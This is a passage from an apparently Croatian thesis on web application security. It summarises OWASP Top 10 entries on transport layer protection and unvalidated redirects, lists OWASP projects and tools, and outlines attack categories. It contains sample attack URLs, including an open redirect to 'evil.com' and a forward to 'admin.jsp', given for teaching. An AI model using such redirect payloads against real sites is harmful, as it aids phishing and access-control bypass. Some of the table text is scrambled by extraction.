promet
korisnika.
Ako je
aplikacija
na
Internetu,
ne može se
znati kako
joj korisnici
pristupaju,
pa tome
posvetiti
dodatnu
pažnju.
Učestalos Detekcij
t
a
propusta propusta
Težak
Uobičajen
Laka
Praćenje
Aplikacije ne štite
korisnikovo često svoj mrežni
g mrežnog
promet. Mogu koristiti
prometa
SSL/TLS tijekom
nekad je
autentikacije, no ne i
teško, a
drugdje, izlažući tako
nekad i lako. podatke i ID sesije
Najveća
presretanju. Istekli ili
poteškoća je nepropisno
praćenje
konfigurirani
ispravnog
certifikati također
prometa dok mogu biti korišteni.
Detekcija osnovnih
korisnik
mana je lako kroz
pristupa
praćenje mrežnog
ranjivoj
prometa, no ozbiljnije
stranici.
mane zahtijevaju
pregledavanje dizajna
aplikacije i
konfiguracije servera.
Težina
napada
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
Ovakvi
propusti izlažu
podatke
pojedinih
korisnika i
mogu dovesti
do krađe
računa. Ako je
kompromitiran
administratorsk
i račun, cijela
stranica može
biti izložena
riziku. Slabo
podešavanje
SSL-a može
dovesti do
phishinga i
MITM napada.
Razmotriti
poslovnu
vrijednost
izloženih
podataka na
mrežnim
kanalima u
vidu
povjerljivost
i i potreba
integriteta.
Provjera ranjivosti
Najbolji način za provjeru da li aplikacija ima dovoljnu razinu zaštite na mrežnom
sloju je provjera sljedećih točaka:
1. SSL se koristi za zaštitu svog prometa vezanog za autentikaciju.
2. SSL se koristi za sve resurse na svim privatnim stranicama i servise. Ovo štiti
sve podatke i tokene sesija koji se izmjenjuju.
57
3. Podržani su samo snažni algoritmi
4. Svi kolačići sesija imaju „sigurnosnu“ zastavicu tako da ih browser nikad ne
može prenositi u izvornom obliku.
5. Certifikat servera je valjan i ispravno konfiguriran. To uključuje da je izdan od
valjanog izdavača certifikata, da nije istekao, da nije opozvan i da odgovara
svim domenama koje web mjesto koristi.
Sprječavanje ranjivosti
Pravilna zaštita transportnog sloja može utjecati na dizajn cijele stranice. Najlakše je
zahtijevati SSL za cijelo web mjesto. Zbog poboljšavanja performansi, neka web
mjesta koriste SSL samo na privatnim stranicama, a neka samo na „kritičnim“
stranicama, no kod takvog pristupa javlja se opasnost od izlaganja ID-a sesije i ostalih
osjetljivih podataka. Kao minimum, trebalo bi učiniti sljedeće:
1. Zahtijevati SSL za sve osjetljive stranice. Zahtjevi koji nisu SSL a upućeni su
na te stranice trebaju se preusmjeriti na SSL stranice.
2. Koristiti „secure“ zastavicu na svim osjetljivim kolačićima.
3. Konfigurirati SSL pružatelja usluga da podržava smo snažne algoritme.
4. Osigurati da je korišteni certifikat valjan, da nije istekao, nije opozvan i
odgovara svim domenama koje web mjesto koristi.
5. Backend i ostale konekcije također trebaju koristiti SSL ili druge tehnologije
kriptiranja.
Primjer napada
Scenarij 1: Stranica ne koristi SSL za sve stranice koje zahtijevaju autentikaciju.
Napadač jednostavno prati mrežni promet (npr. WLAN) i promatra session kolačić od
žrtve. Napadač tada ponovno šalje ovaj kolačić i preuzima sesiju žrtve.
Scenarij 2: Stranica ima nepropisno konfiguriran SSL certifikat zbog čega korisnikov
browser javlja upozorenja. Da bi korisnik koristio stranicu mora prihvatiti takva
upozorenja i nastaviti. Zbog toga se korisnik navikne na ovakva upozorenja. Phishing
napad na korisnike stranice mami ih na sličnu stranicu koja nema ispravan certifikat i
koji javlja slično upozorenje. Pošto je žrtve naviknuta na takva upozorenja, oni
nastavljaju koristiti phishing stranicu, odavajući tako lozinke i ostale povjerljive
informacije.
58
Scenarij 3: Stranica jednostavno koristi standardan ODBC/JDBC za povezivanje na
bazu, ne shvaćajući da je sav promet izložen napadaču.
4.1.2.10. Unvalidated Redirects and Forwards – Neprovjerena preusmjeravanja i
prosljeđivanja
Opis
Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeđivanja
Potencijaln
i napadači
-
Težina
napada
Detekcij
a
propusta
Neuobičaje
Laka
n
Aplikacije često
Napadač se
preusmjeruju korisnike
poveže na
nevalidirane na druge stranice, ili
koriste unutarnja
poveznice i
prevari žrtvu prosljeđivanja na sličan
da ih klikne. način. Ponekad je ciljna
stranica specificirana u
Žrtva ne
sumnja ništa, nevalidiranom
parametru, što napadaču
pošto je to
omogućuje da odaberu
link na
ciljnu stranicu.
validnu
Otkrivanje nesigurnih
stranicu.
Napadač cilja preusmjeravanja je
lako, treba tražiti
nesigurna
prosljeđivanj preusmjeravanja gdje se
mome postaviti cijeli
a kako bi
URL. Neprovjerena
zaobišao
prosljeđivanja su teža,
sigurnosne
pošto ciljaju unutarnje
provjere.
stranice.
Srednje težak
Treba
razmotriti
sve koji
mogu
prevariti
korisnika
aplikacije
da pošalje
zahtjev na
našu web
stranicu. To
je moguće
kroz bilo
koju HTML
stranicu
kojoj
korisnik
može
pristupiti.
Učestalost
propusta
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
-
Ovakvi
propusti
mogu
pokušati
instalirati
malware ili
prevariti
žrtvu na
odavanje
lozinki ili
ostalih
povjerljivih
informacija.
Nesigurna
prosljeđivanj
a mogu
dozvoliti
zaobilaženje
kontrole
pristupa.
Razmotriti
poslovnu
vrijednost
zadržavanja
korisnikovo
g
povjerenja.
Što ako se
zaraze
malwareom
? Što ako
napadač
pristupi
unutarnjim
funkcijama
aplikacije?
Provjera ranjivosti
Najbolji način za otkrivanje ovih propusta je slijediti ove korake:
1. Pregledati kod aplikacije za sva korištenja preusmjeravanja ili prosljeđivanja.
Za svako korištenje, identificirati da li se ciljni URL uključuje u vrijednost
nekog parametra. Ako je tako, provjeriti da je parametar provjeren tako da
može sadržavati samo dozvoljena odredišta ili dijelove odredišta.
59
2. Pregledati stranicu i vidjeti da li generira kakva preusmjeravanja. Pogledati
parametre pružene prije preusmjeravanja i vidjeti da li su oni ciljni URL-ovi ili
sadržavaju dijelove takvih URL-ova. Ako je tako, promijeniti URL odredište i
promatrati da li stranica preusmjerava na novu metu.
3. Ako je kod nedostupan, provjeriti sve parametre i vidjeti da li izgledaju kao
dio preusmjeravanja ili prosljeđivanja URL odredišta i testirati one koje
zadovoljavaju te kriterije.
Sprječavanje ranjivosti
Sigurna upotreba preusmjeravanja i prosljeđivanja može se napraviti na nekoliko
načina:
1. Jednostavno izbjegavati preusmjeravanja i prosljeđivanja.
2. Ako se koriste, ne uključivati korisničke parametre u računanju odredišta. To
se obično može napraviti.
3. Ako se korisnički parametri ne mogu izbjeći, osigurati da su njihove
vrijednosti ispravne i da je korisnik autoriziran za izvršavanje takve akcije.
Preporuča se da takvi odredišni parametri budu mapirane vrijednosti, a ne
pravi URL ili dio URL-a, i da kod na serveru vrši mapiranje te vrijednosti u
pravi URL.
Izbjegavanje ovih mana je jako važno jer je to omiljena meta phishing napadača koji
žele pridobiti korisnikovo povjerenje.
Primjer napada
Scenarij 1: Aplikacija ima stranicu koja se zove „redirect.jsp“ koja uzima jedan
parametar pod nazivom „url“. Napadač napravi maliciozan URL i preusmjeri
korisnike na malicioznu stranicu koja izvršava phishing i instalira malware.
http://www.example.com/redirect.jsp?url=evil.com
Scenarij 2: Aplikacija koristi prosljeđivanje za usmjeravanje zahtjeva među različitim
dijelovima web mjesta. Neke stranice koriste parametar kako bi označile kamo bi
korisnik trebao biti poslan ako je transakcija uspješno izvršena. U ovom slučaju
napadač stvara URL koji će proći provjeru prava pristupa aplikacije i onda proslijediti
napadača na administrativne funkcije kojima inače ne smije imati pristup.
http://www.example.com/boring.jsp?fwd=admin.jsp
60
4.2. OWASP projekti sigurnosti IS-a
OWASP ima cijeli niz projekata koji su namijenjeni sigurnosti aplikacija. Projekti se
dijele u nekoliko grupa54:
•
zaštititi (engl. protect) – alati i dokumenti koji se mogu koristiti za zaštitu
protiv sigurnosno orijentiranih pogrešaka u dizajnu i implementaciji
•
detektirati (engl. detect) – alati i dokumenti koji se mogu koristiti za
pronalaženje sigurnosno orijentiranih pogrešaka u dizajnu i implementaciji
•
životni ciklus (engl. life cycle) – alati i dokumenti koji se mogu koristiti za
dodavanje sigurnosno orijentiranih aktivnosti u razvojni ciklus razvoja
softvera (engl. Software Development Life Cycle – SDLC)
Svaki od projekata ima svoju mail listu. Svi korisnici se mogu pretplatiti na tu listu,
ali i pretraživati arhivu. Postoji i lista projekata koji su ostali bez voditelja, pa se
zainteresirani korisnici mogu prijaviti kao vođe.
Projekti se još dijele u nekoliko kategorija ovisno o njihovoj fazi razvoja, a to su:
projekti distribucijske kvalitete (engl. Release Quality Projects), projekti beta statusa
(engl. Beta Status Projects), projekti alfa statusa (engl. Alpha Status Projects) te
neaktivni projekti (engl. Inactive Projects).
Projekti distribucijske kvalitete su u osnovi profesionalna razina kvalitete alata i
dokumentacije. Projekti beta statusa su potpuni projekti i spremni su za korištenje sa
dokumentacijom. Projekti alfa statusa se u osnovi mogu koristiti, ali im može
nedostajati provjera dokumentacije ili kvalitete. Neaktivni projekti su neocijenjeni
projekti (projekti koji još nisu došli do bilo kojeg od Alfa, Beta ili
Release/distribucijskog statusa) koji su možda napušteni. Za takve projekte se postižu
napori kako bi se kontaktiralo vodstvo projekta i utvrdio status i planovi za budući
rad.
Kako je u drugim kategorijama previše projekata da bi ih ovdje nabrajali, u nastavku
ćemo nabrojati samo projekte distribucijske kvalitete (engl. Release Quality Projects)
i projekte u beta fazi (engl. Beta Status Projects).
54
http://www.owasp.org/index.php/Category:OWASP_Project
61
Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality
Projects)55
Alati
Dokumentacija
Kategorija: zaštititi (engl. Protect)
OWASP AntiSamy Java Project
OWASP Development Guide
aplikacijsko programsko sučelje za
ogroman dokument koji pokriva sve
validaciju bogatog HTML/CSS ulaza
aspekte sigurnosti web aplikacija i web
od strane korisnika bez izlaganja XSS i
servisa (kriteriji procjene v1.0)
phising napada (kriteriji procjene v1.0)
OWASP AntiSamy .NET Project
OWASP .NET Project
aplikacijsko programsko sučelje za
namjena ovog projekta je osiguravanje
validaciju bogatog HTML/CSS ulaza
središnjeg repozitorija informacija i
od strane korisnika bez izlaganja XSS i
alata za profesionalce koji koriste
phising napada (kriteriji procjene v1.0)
Microsoftov .NET Framework za web
aplikacije i servise (kriteriji procjene
v1.0)
OWASP Enterprise Security API
OWASP Ruby on Rails Security
(ESAPI) Project
Guide V2
besplatna i otvorena kolekcija svih
ovaj projekt je jedini izvor informacija
sigurnosnih metoda koje su potrebne
o pitanjima vezanima uz sigurnost
developeru da bi izgradio sigurnu web
Railsa (kriteriji procjene v1.0)
aplikaciju (kriteriji procjene v1.0)
55
http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Quality_Projects
62
OWASP ModSecurity Core Rule Set
OWASP Secure Coding Practices –
Project
Quick Reference Guide
projekt za dokumentiranje i razvoj
ovaj dokument daje brze reference
ModSecurityCore Rule Set (kriteriji
visokog nivoa za sigurne tehnike
procjene v1.0)
kodiranja. Tehnološki je skeptičan i
definira skup osnovnih softverskih
sigurnosnih pravila za kodiranje u
obliku liste provjere (engl. checklist)
koja može biti integrirana u razvojni
ciklus. (kriteriji procjene v2.0)
Kategorija: detektirati (engl. Detect)
OWASP JbroFuzz Project
OWASP Application Security
fuzzer za web aplikacije napravljen za
Verification Standard Project
zahtjeve ostvarene preko HTTP i/ili
ASVS definira prvi međunarodno
HTTPS protokola. Njegova namjena je
priznat standard za provođenje
osiguravanja jedne portabilne
sigurnosnih procjena aplikacija.
aplikacije koja nudi stabilne fuzzing
Pokriva automatske i ručne pristupe za
mogućnosti web protokola. (kriteriji
procjenu (verifikaciju) aplikacija
procjene v2.0)
korištenjem tehnika sigurnosnih
testova i provjere kôda. (kriteriji
procjene v1.0)
OWASP Live CD Project
OWASP Core Review Guide
ovaj CD sadrži neke od najboljih open
projekt za skupljanje najboljih praksa
source sigurnosnih projekata u jednom
za provjeru kôda. (kriteriji procjene
okruženju. Web developeri, testeri i
v1.0)
sigurnosni stručnjaci mogu bootati sa
ovog Live CD-a i imati pristup
kompletnoj garnituri softvera za
testiranje sigurnosti. (kriteriji procjene
v1.0)
OWASP WebScarab Project
OWASP Testing Guide
alat za izvođenje svih tipova testova
projekt fokusiran na testne procedure i
63
sigurnosti na web aplikacijama i web
liste provjere (engl. checklists) za
servisima. (kriteriji procjene v1.0)
provjeru sigurnosti aplikacija. (kriteriji
procjene v1.0)
OWASP Top Ten Project
značajan dokument koji opisuje deset
najvećih sigurnosnih propusta web
aplikacija (kriteriji procjene v1.0)
Kategorija: životni ciklus (engl. Life Cycle)
OWASP WebGoat Project
OWASP AppSec FAQ Project
online okruženje za treniranje
odgovori na često postavljena pitanja
namijenjeno praktičnom učenju o
koji pokrivaju mnoge teme o sigurnosti
sigurnosti aplikacija (kriteriji procjene
aplikacija (kriteriji procjene v1.0)
v1.0)
OWASP Legal Project
projekt fokusiran na pružanje
ugovornog jezika za nabavu sigurnog
softvera (kriteriji procjene v1.0)
OWASP Source Code Review for
OWASP-Projects
radni tijek za OWASP projekte
namijenjen uvođenju statične analize u
razvojni životni ciklus softvera (engl.
Software Development Life Cycle –
SDLC). (kriteriji procjene v1.0)
64
Tablica 4.14. Popis projekata beta statusa56
Alati
Dokumentacija
Kategorija: zaštititi (engl. Protect)
OWASP CSRFGuard Project
OWASP AppSensor Project
J2EE filter koji implementira
okosnica (engl. framework) za
jedinstven token za zahtjev za
detektiranje i odgovaranje na napade
ublažavanje CSRF napada (kriteriji
direktno iz aplikacije (kriteriji procjene
procjene v1.0)
v1.0)
OWASP Encoding Project
OWASP Backend Security Project
projekt fokusiran na razvoj najbolje
novi projekt kreiran da bi unaprijedio i
prakse u kodiranju za web aplikacije
prikupio postojeće informacije o
(kriteriji procjene v2.0)
pozadinskoj (engl. backend) sigurnosti
(kriteriji procjene v1.0)
OWASP OpenSign Server Project
OWASP Securing WebGoat using
svrha ovog projekta je izgraditi i
ModSecurity Project
hostati server bogat mogućnostima te
svrha ovog projekta je kreiranje
komplet klijentskih alata sa
prilagođenog Modsecurity seta pravila
adekvatnim sigurnim hardverom kako
koji će štititi WebGoat 5.2 od što većeg
bi se osigurao integritet modula za
broja njegovih ranjivosti (cilj je 90%)
kodiranje (kriteriji procjene v1.0)
bez promjene ijedne linije kôda
(kriteriji procjene v1.0)
OWASP OpenPGP Extensions for
HTTP – Enigform and mod openpgp
ovaj projekt je fokusiran na
mod_openpgp i sigurnosno upravljanje
sesijama (engl. Secure Session
Management), a predstavlja web
mjesto koje koristi ovu novu
metodologiju autentifikacije na takav
način koji će privući profesionalce koji
se bave sigurnošću i web developere
56
http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_Projects
65
na ovaj novi miks dva dobra stara
protokola: HTTP-a i OpenPGP-a
(kriteriji procjene v1.0)
Kategorija: detektirati (engl. Detect)
OWASP Access Control Rules
OWASP Tools Project
Tester Project
ovaj projekt je napravljen kako bi
ovaj projekt je zamišljen na način da
pružio nepristrane, praktične
kao rezultat daje dva izlaza:
informacije i smjernice o alatima za
istraživački tehnički izvještaj (članak
sigurnost aplikacija koji se koriste kako
spreman za objavu) i alat za testiranje
bi se detektirali propusti ili kako bi se
pravila pristupa kontroli (engl. Access
zaštitilo od propusta. Cilj ovog projekta
Control Rules Tester) (kriteriji
je identifikacija svih dostupnih alata,
procjene v1.0)
njihova kategorizacija i ocjenjivanje
prema predefiniranim kriterijima kako
bi se procjenila njihova efikasnost.
OWASP Code Crawler
ovaj alat je namijenjen asistenciji
onima koji pregledavaju postojeći kôd.
To je alat za pregledavanje statičnog
kôda koji traži ključne riječi unutar
.NET i J2EE/JAVA kôda (kriteriji
procjene v1.0)
OWASP DirBuster Project
DirBuster je višedretvena Java
aplikacija dizajnirana za pogađanje
imena direktorija i datoteka na
web/aplikacijskim serverima
primjenom grube sile (kriteriji
procjene v1.0)
OWASP LAPSE Project
alat za analizu Java statičnog kôda u
Eclipse okruženju (kriteriji procjene
v1.0)
66
OWASP Orizon Project
cilj ovog projekta je razviti engine za
provjeru rastezljivog (engl. extensible)
kôda, koji bi se koristio iz alata za
procjenu izvornog kôda (kriteriji
procjene v1.0)
OWASP Pantera Web Assessment
Studio Project
projekt fokusiran na kombiniranje
automatskih sposobnosti sa potpuno
ručnim testiranjem za dobivanje
najboljih rezultata (kriteriji procjene
v1.0)
OWASP Report Generator
projekt koji sigurnosnim
profesionalcima pruža način za
izvještavanje i bilježenje napretka
njihovih projekata (kriteriji procjene
v1.0)
OWASP Site Generator
projekt koji korisnicima omogućava
izradu dinamičnih stranica za
korištenje u potrebe treninga,
testiranja skenera web aplikacija i sl.
(kriteriji procjene v1.0)
OWASP Skavenger Project
skup alata za procjenu sigurnosdti web
aplikacija koji pasivno analizira
promet prikupljen od strane različitih
MITM proxya, kao i drugih izvora te
pomaže identificirati različite vrste
mogućih propusta (kriteriji procjene
v1.0)
67
OWASP SQLiX Project
projekt fokusiran na razvoj SQLiX-a,
skenera potpuno baziranog na
programskom jeziku perl (kriteriji
procjene v1.0)
OWASP Sqlibench Project
ovo je projekt za mjerenje performansi
automatskih SQL injektora povezanih
sa kopiranjem baza podataka (kriteriji
procjene v1.0)
OWASP Tiger
to je Windows aplikacija koja od
samog početka namijenjena za
automatiziranje procesa testiranja
raznih poznatih ASP.NET sigurnosnih
problema u domaćoj (engl. hosted)
okolini. No, ova aplikacija je mnogo
svestranija: pomaže kod izgradnje i
slanju HTTP zahtjeva, kod dobivanja i
analiziranja odgovora, uspoređivanja
odgovora sa skupom uvjeta da bi se
aktivirali alarmi tj. poruke da nešto
nije u redu sa aplikacijama ili
servisima koji se testiraju. (kriteriji
procjene v1.0)
OWASP WeBekci Project
to je alat za upravljanje baziran na
ModSecurity 2.x, a napisan je u PHPu. Pozadina (engl. backend) je
pogonjena MySQL, a sučelje (engl.
frontend) XAJAX okosnicom (engl.
framework). (kriteriji procjene v1.0)
OWASP WSFuzzer Project
68
projekt fokusiran na razvoj WSFuzzera, web servis SOAP fuzzer potpuno
baziran na pythonu (kriteriji procjene
v1.0)
Kategorija: životni ciklus (engl. Life Cycle)
OWASP Live CD Education Project
OWASP CLASP Project
dodatni edukacijski projekt koji sadrži
projekt fokusiran na definiranje
vodiče, izazove i video zapise koji
procesnih elemenata koji ojačavaju
detaljno opisuju način korištenja alata
sigurnost aplikacija (kriteriji procjene
koji su sadržani na OWASP LiveCD –
v1.0)
LabRat. Ovaj projekt je bio
sponzoriran od „OWASP Spring Of
Code 2007“ i „Security Distro“.
(kriteriji procjene v1.0)
OWASP Teachable Static Analysis
OWASP Education Project
Workbench Project
projekt za izradu edukacijskih puteva i
za ova projekt je predviđeno da kao
modula za različitu publiku (kriteriji
rezultat daje dva izlaza: istraživački
procjene v1.0)
tehnički izvještaj (članak spreman za
objavu) i radni prototip (engl.
workbench prototype). (kriteriji
procjene v1.0)
OWASP Internationalization Project
osnovne smjernice za pokretanje novog
projekta prevođenja za OWASP web
mjesto i projekte (kriteriji procjene
v1.0)
OWASP Spanish Project
prvi pokušaj prijevoda kompletnog
OWASP web mjesta i projekta na
španjolski jezik (kriteriji procjene v1.0)
69
4.3. Korištenje alata u svrhu poboljšanja zaštite
Spomenuti alati iz prošlog poglavlja napravljeni su zbog razloga da bi ih se koristilo
za testiranje različitih propusta. Uz pomoć njih se programeri na praktičan način
nauče kako se ti propusti iskorištavaju, te se dobro upoznaju sa mogućim
posljedicama. To ih potiče da svoje aplikacije testiraju na te iste propuste, te samim
time programiraju sigurnije aplikacije.
Osim samih programera, ovi alati koriste testerima aplikacijama, ali i sigurnosnim
stručnjacima. Posljednje spomenuti su često zaduženi da se pobrinu o sigurnosti
servera i osoba koji se koriste uslugama na tim serverima, pa zbog toga oni moraju
ispitati koliko su sigurne aplikacije na njima kako bi utvrdili da li je potrebno
upozoriti programere na učinjene propuste.
Kako je potreba za ovakvim alatima velika, a također ih mnogo postoji u
komercijalnom ili open source obliku, OWASP je otvorio novi projekt koji trenutno
spada u projekte beta statusa, pod nazivom „OWASP Tools Project“. Kao što je već
spomenuto u poglavlju iznad, ovaj projekt je namijenjen pronalasku alata, njihovoj
kategorizaciji i ocjenjivanju prema predefiniranim kriterijima u svrhu procjene
efikasnosti svakog pojedinog alata. Trenutno su pojedine kategorije prazne ili je na
popisu samo nekoliko alata, no za pretpostaviti je da će se to uskoro promijeniti.
Alati se u OWASP Tools projektu dijele u dvije glavne kategorije: u one koji
detektiraju ranjivosti ili propuste u web aplikacijama te oni koji štite od njih.57 Vrste
alata koje služe za detektiranje slabosti web aplikacija su:
•
alati za penetracijsko testiranje
•
alati za analizu izvornog kôda
•
alati za modeliranje prijetnji
•
alati za skeniranje od ranjivosti
U kategoriji zaštite web aplikacija trenutno se nalazi samo jedna vrsta alata, a to su
vatrozidi za web aplikacije (engl. Web Application Firewalls – WAFs)
57
http://www.owasp.org/index.php/Category:OWASP_Tools_Project
70
Od svih navedenih alata tj. projekata iz prethodnog poglavlja, nekako se najboljima ili
barem najpopularnijima čine WebGoat i WebScarab. Svaki od ovih alata spada u
svoju kategoriju, pa tako WebScarab spada u kategoriju alata koji služeza detekciju
ranjivosti, a WebGoat spada u kategoriju životnog ciklusa.
4.3.1. WebScarab
WebScarab je okosnica (engl. framework) za analizu aplikacija koje komuniciraju
preko HTTP ili HTTPS protokola, a napisan je u Javi i zbog toga se može koristiti na
svim platformama.58 Ovaj alat može raditi u nekoliko načina, a svaki od njih je
implementiran u obliku dodatka (engl. plugins). Najčešće se koristi kao proxy za
presretanje, što omogućava korisniku da pregleda i modificira zahtjeve kreirane od
strane web preglednika (engl. browser) prije nego su oni poslani serveru, a također
može pregledati i modificirati odgovore od servera prije nego oni stignu do web
preglednika. Ovaj alat je namijenjen programerima koji žele otkloniti inače
komplicirane probleme ili sigurnosnim stručnjacima koji žele identificirati ranjivosti
aplikacije.
Kako bi korisnik mogao koristiti ovaj alat, mora biti dobar programer ili barem dobro
razumjeti HTTP protokol.
Osim „starog“ WebScarab-a, napravljena je i nova verzija ovog alata u sklopu
projekta „OWASP WebScarab NG Project“. Cilj ovog projekta je potpuno preraditi
početnu verziju alata i napraviti ga jednostavnijim za korištenje. Neke od većih
razlika su nova platforma na kojoj je izgrađen (koristi Spring Rich Client Platform za
korisničko sučelje), spremanje podataka iz sesije u bazu umjsto u tisuće zasebnih
datoteka.59 Nova verzija WebScarab-a bi trebala imati sve funkcionalnosti kao i starija
verzija, sa već spomenutom prednošću lakšeg korištenja.
58
59
http://www.owasp.org/index.php/OWASP_WebScarab_Project
http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project
71
Slika 4.1. WebScarab60
Slika 4.2. WebScarab NG61
4.3.2. WebGoat
WebGoat je promišljeno nesigurna J2EE (Java 2 Enterprise Edition) web aplikacija, a
napravila ju je organizacija OWASP. Ova aplikacije je dizajnirana kako bi poslužila
60
61
http://www.owasp.org/index.php/File:WebScarab_after_browsing.png
http://www.owasp.org/index.php/File:WebScarab-NG-default.png
72
za učenje o sigurnosti web aplikacija po lekcijama.62 U svakoj lekciji korisnik mora
pokazati svoje razumijevanje sigurnosnog problema na način da iskoristi stvarnu
ranjivost u WebGoat aplikaciji. Tako npr. u jednoj od lekcija korisnik mora koristiti
SQL injection kako bi ukrao brojeve lažnih kreditnih kartica. Smatram da je ova
aplikacija jako korisna za sve programere kako bi oni bolje upoznali i shvatili
prijetnje koje mogu nastati razvojem web aplikacija bez razmišljanja o sigurnosti.
Osim toga, ovakve web aplikacije služe kao dobar trening za korisnike koji žele
postati sigurnosni stručnjaci.
Projektni tim koji radi na projektu WebGoat se nada da će u budućnosti ovaj alat
proširiti na način da će postati alat za mjerenje performansi u sigurnosti.
U ovom alatu trenutno je dostupno 30 lekcija, a neke od njih se bave ovim
problemima:
62
•
Cross-site Scripting (XSS)
•
kontrola pristupa
•
sigurnost dretvi
•
brojčana SQL injekcija
•
znakovna (engl. string) SQL injekcija
•
web servisi
•
opasnost HTML komentara
•
i mnogi drugi...
http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
73
Slika 4.3. WebGoat - Lekcija o krađi sesije63
63
http://www.owasp.org/index.php/File:WebGoat-Session-Hijack-Lesson.JPG
74
4.4. Opći principi napada
U ovompoglavlju ćemo spomenuti neke opće principe napada, odnosno općenito reći
o svakoj vrsti napada. Na OWASP stranici sa popisom napada postoji 12 kategorija,
pa ćemo za svaku od kategorija ukratko opisati principe napada.64
Kategorije napada i njihovi principi su:
•
zloupotreba funkcionalnosti (engl. Abuse of Functionality)
o Glavni cilj ove vrste napada je zloupotrebiti neku funkcionalnost web
aplikacije i na taj način doći do nama korisnih informacija, npr.
moguće je iskoristiti opciju automatskog zaključavanja korisničkog
računa u slučaju ako web aplikacija nakon tri neuspjela pokušaja
prijave zaključa taj račun.
•
napadi na strukture podataka (engl. Data Structure Attacks)
o Princip ovog napada je prebrisati neki dio u memoriji aplikacije koji se
inače ne bi smio moći prebrisati, bilo to namjerno ili nenamjerno.
Jedna od vrsta napada ovog tipa jest napad prelijevanjem buffera (engl.
Buffer Overflow Attack). Ovdje se radi o tome da se npr. prebriše
vrijednost nekog od registra, što kao rezultat daje to da aplikacija
počinje izbacivati greške i više se ne može koristiti.
•
ugrađen maliciozni kôd (engl. Embedded Malicious Code)
o Ova vrsta napada se zasniva na mogućnosti da se u aplikaciju ugradi
maliciozni kôd, koji kasnije korisnik aplikacije može nesvjesno
pokrenuti. Na istom principu se zasnivaju trojanski konji.
•
iskorištavanje autentifikacije (engl. Exploit of Authentication)
o Cilj je da se iskoriste slabosti autentifikacije, bilo to na način da se
nakon 3 neuspjela pokušaja prijave automatski zablokira korisnički
račun (isto kao i kod zloupotrebe funkcionalnosti) ili da se uz pomoć
ubačenog malicioznog kôda dobe korisnički podaci za prijavu u
aplikaciju. U slučaju kada se radi o administratorskom računu, napadač
može počiniti jako veliku štetu.
•
injekcija (engl. Injection)
o Ovom vrstom napada se želi izvršiti neki kôd na način da se
iskorištavaju propusti u aplikaciji nastali na način da se ne provjeravaju
64
http://www.owasp.org/index.php/Category:Attack
75
ulazni podaci npr. ne provjerava se da li možda string, koji će se
proslijediti u predefinirani upit na bazu, možda sadrži navodnike. U
tom slučaju se može provesti SQL Injection napad, tj. može se
modificirati upit na bazu i tako ispisati korisnička imena i lozinke
korisnika iz baze podataka.
•
napad unakrsnom putanjom (engl. Path Traversal Attack)
o Ova vrsta napada iskorištava ranjivosti u putanji do datoteka ili
direktorija te tako napadač u slučaju uspješnog napada može pristupiti
onim datotekama i direktorijima kojima inače ne bi smio imati pristup.
Takav napad može se iskoristiti u aplikacijama koje traže od korisnika
upis neke vrijednosti (npr. naziva datoteke) i kasnije tu vrijednost
koriste za dohvat podataka na datotečnom sustavu. U slučaju kad
korisnik upiše posebne znakove, aplikacija može to svejedno
proslijediti i na taj način omogućiti pristup datotekama kojima obični
korisnik ne smije pristupiti.
•
tehnike vjerojatnosti (engl. Probabilistic Techniques)
o Napadaču je glavni motiv da će npr. pogoditi korisničke podatke za
prijavu u aplikaciju, pa uporabom napada metodom grube sile (engl.
Brute force attack) pokušava puno kombinacija korisničkih imena i
lozinki. Za ovakve napade se koriste skripte koje provjeravaju sve
moguće kombinacije unutar zadanih granica ili koriste podatke iz tzv.
riječnika. Vrlo jednostavna metoda primjene grube sile je npr. ako
korisnik ručno proba upisati 10 najčešćih kombinacija korisničkog
imena i lozinki (npr. kor. ime: admin; lozinka: admin)
•
manipulacija protokola (engl. Protocol Manipulation)
o Ovakva vrsta napada se zasniva na slanju poruka u određenom
protokolu, kako bi se prouzročila šteta drugoj strani. Jedan od primjera
ovakvog napada je poplava prometa (engl. Traffic flood), a označava
uspostavljanje mnogo lažnih TCP veza uz korištenje nedovršenih
HTTP zahtjeva, sve dok server nije preplavljen brojem veza i zbog
toga prestane odgovarati na zahtjeve.
76
•
iscrpljivanje resursa (engl. Resource Depletion)
o Napadaču je ovom vrstom napada glavni cilj iscrpiti što više resursa,
odnosno onemogućiti drugim korisnicima da koriste server. Ovakav
napad je u današnje vrijeme sve češći i to u obliku DDoS (engl.
Distributed Denial of Service) napada. Radi se o tome da napadač
upravlja svojom mrežom zaraženih računala tzv. botnetom i da
pomoću vlastitog softvera upravlja svim računalima odjednom. Kad
jednom uspostavi botnet od nekoliko tisuća (ili više) računala, napadač
može preko svog alata za kontrolu računala izdati „naredbu“
računalima da zatraže otvaranje neke određene web stranice. Ako se
radi o jednom serveru, ovolik broj zahtjeva odjednom može zauzeti
previše mrežnih resursa, ali i previše memorije i procesorskog vremena
na serveru, pa se server jednostavno uspori ili čak zablokira.
•
manipulacija resursima (engl. Resource Manipulation)
o Cilj ovog napada je pronaći način za manipuliranjem raznim resursima.
Kao primjer možemo navesti napad manipulacijom postavki (engl.
Setting Manipulation). On je usmjeren na promjenu postavki aplikacije
kako bi izazvao da aplikacija izbacuje pogrešne podatke i kako bi
napadač bio u prednosti. Ovom tehnikom napadač može promijeniti
funkcije aplikacije kao što su pozivi na bazu podataka, blokiranje
pristupa vanjskim bibliotekama i/ili modificiranje log datoteka.
•
napadi špijuniranjem (engl. Sniffing Attacks)
o Ova vrsta napada se zasniva na prikupljanju podataka mrežnog
prometai i traženju osjetljivih podataka kao što su korisnička imena,
lozinke ili bilo koje druge povjerljive informacije.
•
zavaravanje (engl. Spoofing)
o Napadač može presresti komunikaciju između dvije strane, promijeniti
poruku i poslati je dalje do odredišta. U tom slučaju ni jedna ni druga
strana ne zna da su ti podaci promijenjeni i da im druga strana uopće
nije poslala ovakve podatke kakvi su stigli na odredište. To je primjer
tzv. MIT (engl. Man in the Middle) napada, što u prijevodu znači
„čovjek u sredini“.
77
5. Metode provjere i neutraliziranja
5.1. Damn vulnerable web app
Damn vulnerable web app (DVWA) je web aplikacija koja je „jako ranjiva“. Njezini
